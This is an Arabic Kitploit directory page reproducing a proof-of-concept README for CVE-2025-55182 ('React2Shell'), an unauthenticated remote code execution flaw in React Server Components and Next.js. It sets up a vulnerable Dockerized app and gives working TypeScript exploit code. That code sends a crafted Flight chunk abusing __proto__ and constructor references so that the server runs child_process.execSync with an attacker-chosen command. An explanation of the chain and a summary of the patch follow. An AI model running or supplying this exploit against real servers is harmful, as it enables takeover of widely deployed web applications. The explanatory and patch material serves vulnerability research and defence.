Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2025-55182-poc — إثبات المفهوم لـ CVE-2025-55182 (React2Shell): تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في مكونات خادم React / Next.js عبر إلغاء تسلسل بروتوكول Flight. | Kitploit
أدوات/GitHubGitHub/monarchfish/cve-2025-55182-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

إثبات المفهوم لـ CVE-2025-55182 (React2Shell): تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في مكونات خادم React / Next.js عبر إلغاء تسلسل بروتوكول Flight.

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

معلومات أساسية

تُعد CVE-2025-55182 واحدة من أكثر ثغرات أُطر العمل (Web Frameworks) انتشارًا في عام 2025. تُعد React Server Components (RSC) البنية المعمارية السائدة لتطبيقات Next.js الحديثة، ويقع عدد كبير من المشاريع القياسية المنشأة عبر create-next-app ضمن النطاق المتأثر، ويمكن استغلالها دون الحاجة إلى أي كود مخصص.

البندالمحتوى
رقم CVECVE-2025-55182
الاسم البديلReact2Shell
نوع الثغرةتنفيذ كود عن بُعد دون مصادقة (Unauthenticated RCE)؛ CWE-502 إلغاء تسلسل بيانات غير موثوقة (Deserialization of Untrusted Data) [3]
درجة CVSS10.0 (Critical) (CVSS 3.1، Facebook/CNA [2])
الحزم المتأثرةreact-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack
الإصدارات المتأثرةReact 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 فما فوق، 15.x، 16.x
تعقيد الهجوممنخفض جدًا (طلب HTTP POST واحد)
هل يتطلب مصادقة؟لا

خطوات إنشاء POC

1. إنشاء التطبيق باستخدام القالب الرسمي

استخدم الإصدار المحتوي على الثغرة (16.0.6) لإنشاء تطبيق Next:

root@kitploit:~
pnpm create [email protected] next-app --yes

2. إنشاء Server Action للاختبار

  1. أضف ملف actions.ts داخل next-app/app/ وعلّمه كـ Server Action:

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. أضف نموذجًا (form) في الصفحة الرئيسية (مثل app/page.tsx)، بحيث يشير action إلى testAction أعلاه، ويتضمن حقلًا واحدًا على الأقل (مثل hidden input).

    سينشئ Next.js حقلاً مخفيًا (hidden input) باسم name="$ACTION_ID_<40 حرفًا hex>" في HTML الخاص بهذا النموذج؛ ويقوم POC باستخراج هذا المعرّف من HTML الصفحة الرئيسية باستخدام تعبير نمطي (regex).

3. إعداد بيئة POC آمنة ومعزولة (Containerized)

يمكن استخدام next-app/Dockerfile وdocker-compose.yml داخل المشروع لبناء تطبيق Next وتشغيله، ويمكنك الاطلاع على المثال الرسمي [8] لمعرفة طريقة كتابتهما.

نفّذ في الدليل الجذر للمشروع:

root@kitploit:~
docker compose up --build -d

ويمكنك بعدها الوصول إلى تطبيق Next المُشغَّل عبر http://localhost:3000.

بعد انتهاء POC، قم بإزالة بيئة Docker بالكامل:

root@kitploit:~
docker compose down -v

خطوات استغلال الثغرة

الخطوة الأولى: الحصول على ACTION_ID

عند تشغيل POC، يقوم السكربت بجلب (fetch) الصفحة الرئيسية واستخراج المعرّف بالتعبير النمطي \$ACTION_ID_([a-f0-9]{40})/. مثال:

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

الخطوة الثانية: تنفيذ الاستغلال

بعد تثبيت التبعيات (dependencies) في الدليل الجذر للمشروع، نفّذ:

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

المقطع البرمجي الأساسي كما يلي:

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

فيما يلي مثال على كتابة ملف على الجهاز الهدف:

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

الخطوة الثالثة: ملاحظة النتائج

  • عند نجاح RCE، قد يتعطل الخادم أو تنتهي مهلة الطلب (timeout) بعد تنفيذ الأمر، وعندها سيحصل الطلب على timeout، وهذا سلوك متوقع.
  • تحقق على الجهاز الهدف من تنفيذ الأمر أم لا (مثل فحص الملفات أو العمليات process).
  • يمكنك الدخول إلى الحاوية للفحص عبر docker compose exec، أو عبر Docker Desktop.

شرح المبدأ

موقع الثغرة

تقع الثغرة في آلية إلغاء تسلسل بروتوكول Flight في React (RSC Flight Deserializer). تتولى هذه الآلية نقل حالة مكونات React بين الخادم والعميل، لكن معالجة البيانات تعاني من مشكلة خطيرة في حدود الثقة (trust boundary).

بروتوكول React Flight هو تنسيق الأسلاك (wire format) الذي صممته React لـ Server Components وServer Actions: يسلسل شجرة المكونات ومعاملات الدوال وغيرها إلى تدفق قطع (chunks) ممثَّلًا بصيغة JSON، وينشئ مراجع بين القطع عبر $رقم و$رقم:اسم_المفتاح، ليستعيد الخادم قيم JavaScript الكاملة.

سلسلة الاستغلال (Exploit Chain)

root@kitploit:~
يرسل المهاجم طلب HTTP POST خبيث
        ↓
[المرحلة 1] إنشاء كائن حلقة ذاتية المرجع (Self-referential loop)
        ↓
[المرحلة 2] خداع محرك JavaScript لاستدعاء دالة يتحكم بها المهاجم
        ↓
[المرحلة 3] حقن بيانات خبيثة لتفعيل مسار تهيئة Flight
        ↓
[المرحلة 4] استدعاء Function constructor عبر Blob Handler
        ↓
تنفيذ أي كود JavaScript على الخادم (RCE)

React Server وتنسيق النقل

تقوم Server Functions في React (وهي Server Actions في Next.js) بتسلسل البيانات التي يريدها الواجهة الأمامية إرسالها إلى الخادم عبر بروتوكول React Flight إلى قطع (chunks) متعددة، ثم تُرسَل كبيانات نموذج (form data).

من مزايا هذا التصميم:

  • النقل التدفقي (streaming): يمكن توليد القطع وتحليلها بالتتابع دون انتظار اكتمال الحمولة (payload) بالكامل، مما يساعد في التحكم بزمن الاستجابة (latency) واستخدام الذاكرة.
  • إزالة التكرار والمشاركة: تُسلسَل البيانات نفسها مرة واحدة فقط، وتُشير الأماكن المتعددة إليها بالمراجع، مما يقلل التكرار وحجم البيانات المرسلة.
  • التوافق مع POST للنماذج: تُرسَل القطع كحقول multipart، دون الحاجة إلى بروتوكول ثنائي (binary) مخصص، كما يسهل ذلك التعامل مع شبكات CDN والوكلاء (proxy) وتصحيح الأخطاء.
  • القدرة على تمثيل البنى المعقدة: يدعم الكائنات المتداخلة والبنى البيانية (graph structures) المعبَّر عنها بالمراجع، لتلبية الأنواع الغنية التي تتطلبها استدعاءات RPC.

يمكن للقطع أن تشير إلى بعضها البعض، على سبيل المثال:

  • chunk 0: ["$1"] (مرجع إلى القطعة 1)
  • chunk 1: {"object":"fruit","name":"$2:fruitName"} (مرجع إلى fruitName في القطعة 2)
  • chunk 2: {"fruitName":"cherry"}

بعد تفسير الخادم نحصل على: { object: 'fruit', name: 'cherry' }. أي أن البروتوكول يسمح بالإشارة إلى خصائص قطع أخرى عبر $رقم:اسم_المفتاح، ثم دمجها لتكوين كائن JavaScript نهائي.

سبب الثغرة

في التنفيذ قبل التصحيح، لم يتم عند تحليل هذه المراجع التحقق بدقة من «هل المفتاح موجود فعلًا في الكائن نفسه أم لا»، ولهذا تمكن المهاجم من قراءة الخصائص الموجودة على النموذج الأولي (prototype) للكائن عبر المراجع.

على سبيل المثال، يمكن بناء الحمولة (payload) التالية:

  • chunk 0: ["$1:__proto__:constructor:constructor"]
  • chunk 1: {"x":1}

عندما يحلل الخادم «__proto__ الخاص بـ chunk 1 → constructor → constructor»، يحصل على منشئ Function ([Function: Function]) أي المنشئ المدمج الذي «ينشئ دالة من سلسلة نصية». وبعبارة أخرى: عبر سلسلة مراجع غير سليمة، يمكن الحصول على Function على جانب الخادم، ومن ثم تنفيذ السلسلة النصية ككود برمجي.

thenable وawait

بعد استلام النموذج، يعيد Next.js بناء القطع إلى قيمة واحدة عبر decodeReplyFromBusboy، ثم يقوم بعمل await على تلك القيمة.

في JavaScript، إذا كان الكائن يحتوي على دالة .then، فإنه يُعتبر thenable؛ وعند await يتم استدعاء .then هذه. لذلك، إذا أمكن جعل .then الخاص بـ«نتيجة فك التشفير» يشير إلى دالة يتحكم بها المهاجم (مثل منشئ Function المذكور سابقًا)، فسيتم تنفيذ ذلك المنطق لحظة await. الخطوة التالية في الهجوم هي: بناء كائن «يشبه thenable بعد فك التشفير»، وتوجيه .then الخاص به إلى نقطة الاستدعاء المطلوبة (call gadget).

من «chunk مزيف» إلى RCE

  1. الإشارة إلى «القطعة الخام» عبر $@0
    في البروتوكول، يعني $@رقم «أخذ المحتوى الخام للقطعة رقم N دون تحليل إضافي». لذلك يمكن جعل chunk 1 يساوي "$@0"، بحيث يقرأ التحليل التمثيل الخام لـ«chunk 0 نفسه».

  2. توجيه .then الخاص بـ chunk 0 إلى prototype الخاص بـ Chunk
    إذا كان chunk 0 كائنًا على شكل {"then": "$1:__proto__:then", ...} وكان chunk 1 هو "$@0"، فسيتم عند التحليل تعيين .then الخاص بـ chunk 0 إلى Chunk.prototype.then (حيث تكون Chunk نفسها thenable في بروتوكول Flight). وبهذا، عندما يقوم Next.js بعمل await على نتيجة فك التشفير، سيدخل إلى منطق .then الخاص بـ Chunk.

  3. تفعيل initializeModelChunk
    داخل Chunk.prototype.then، إذا كانت status الخاصة بـ«القطع المزيف» هي "resolved_model"، فسيتم الدخول إلى initializeModelChunk. هنا يُحلَّل الخاص بالقطعة كـ JSON، وتُجرى جولة «إحياء» (revive) على الكائن الناتج، يتم خلالها معالجة البادئات الخاصة المختلفة (مثل مراجع blob التي تبدأ بـ ).

طريقة الإصلاح (ملخص)

أصلحت React هذه الثغرة في PR #35277 [9] (commit e2fd5dc [10])، مع نقطتين رئيسيتين:

  1. تقييد تحليل الخصائص بحيث لا يتبع سلسلة prototype
    في منطق تحليل مراجع القطع مثل requireModule، أصبحت العملية تتحقق أولًا عبر hasOwnProperty من «هل المفتاح موجود فعلًا في الكائن نفسه»؛ وإذا لم يكن كذلك، تُعاد undefined، ولم يعد بالإمكان الحصول على خصائص مثل constructor من __proto__ والتي لا ينبغي كشفها. طُبِّق هذا التعديل على عدة وحدات مرتبطة بـ Flight (مثل ReactFlightClientConfigBundlerNode وReactFlightClientConfigBundlerWebpack والإعدادات المقابلة لـ Parcel / Turbopack)، مما يقطع سلسلة الاستغلال «الحصول على منشئ Function عبر المراجع ← بناء thenable ← تفعيل get gadget لتنفيذ كود عشوائي».

  2. معالجة الأخطاء في decodeReplyFromBusboy
    أُضيفت try/catch عند تحليل بيانات النموذج (resolveField وresolveFileComplete وغيرهما)، وبمجرد حدوث خطأ في التحليل يتم استدعاء busboyStream.destroy(error)، لنقل الخطأ بشكل صحيح وتجنب بقاء التدفق (stream) في حالة غير متناسقة، مما يقلل سطح الاستغلال عند حدوث أخطاء في التحليل.


الروابط المرجعية

  1. NVD — CVE-2025-55182
  2. حساب CVSS 3.1 (Facebook/CNA)
  3. CWE-502 — Deserialization of Untrusted Data
  4. الإعلان الرسمي من React — ثغرة أمنية حرجة في React Server Components
  5. إعلان Facebook الأمني — CVE-2025-55182
  6. دليل CISA للثغرات المستغلة المعروفة
  7. إعلان Next.js الأمني — RCE في React Server Components
  8. مثال Next.js with-docker لملف Dockerfile
  9. React PR #35277 — Patch FlightReplyServer with fixes from ReactFlightClient
  10. التغييرات المحددة في React PR #35277 (commit e2fd5dc)
  11. مرجع POC
تنزيل الأداة
value
$B
  • نقطة الاستدعاء: _response._formData.get(_prefix + id)
    عند معالجة البادئة $B، ينفذ البرنامج:
    response._formData.get(response._prefix + معرّف ما).
    إذا تم التحكم في _formData و_prefix عبر _response داخل الـ chunk المزيف، مع توجيه _formData.get إلى منشئ Function وتعيين _prefix كسلسلة الكود المراد تنفيذه، يصبح السطر:
    Function("الكود الذي نكتبه" + "0")
    أي «إنشاء دالة من سلسلة نصية». ستكون هذه الدالة هي القيمة التي يُرجعها .then لهذه القطعة، وسيتم استدعاؤها عبر await في سلسلة الـ promises نفسها، مما ينفذ الكود الخاص بنا على الخادم.

  • RCE فعلية
    غيّر «الكود الذي نكتبه» إلى شيء مثل:
    process.mainModule.require('child_process').execSync('أمر النظام المراد تنفيذه');
    وبهذا تحقق تنفيذًا عن بُعد للكود (RCE) على الخادم.